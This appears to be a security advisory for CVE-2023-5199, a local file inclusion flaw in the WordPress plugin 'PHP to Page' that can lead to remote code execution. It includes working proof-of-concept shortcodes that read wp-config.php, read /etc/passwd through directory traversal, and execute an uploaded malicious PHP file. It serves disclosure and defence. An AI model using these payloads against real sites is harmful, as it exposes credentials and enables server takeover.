PHP to Page <= 0.3 – Authenticated (Subscriber+) Local File Inclusion to Remote Code Execution via Shortcode | CVE 2023-5199

Description

The PHP to Page plugin for WordPress is vulnerable Local File Inclusion to Remote Code Execution in versions up to, and including, 0.3 via the 'php-to-page' shortcode. This allows authenticated attackers with subscriber-level permissions or above, to include local file and potentially execute code on the server. While subscribers may need to poison log files or otherwise get a file installed in order to achieve remote code execution, author and above users can upload files by default and achieve remote code execution easily.

Proof of Concept

# Example 1: Read wp-config.php
[php-to-page file="/var/www/html/wp-config.php"]

# Example 2: Directory traversal
[php-to-page file="../../../../etc/passwd"]

# Example 3: Execute uploaded malicious file
[php-to-page file="/full/path/to/uploads/malicious.php"]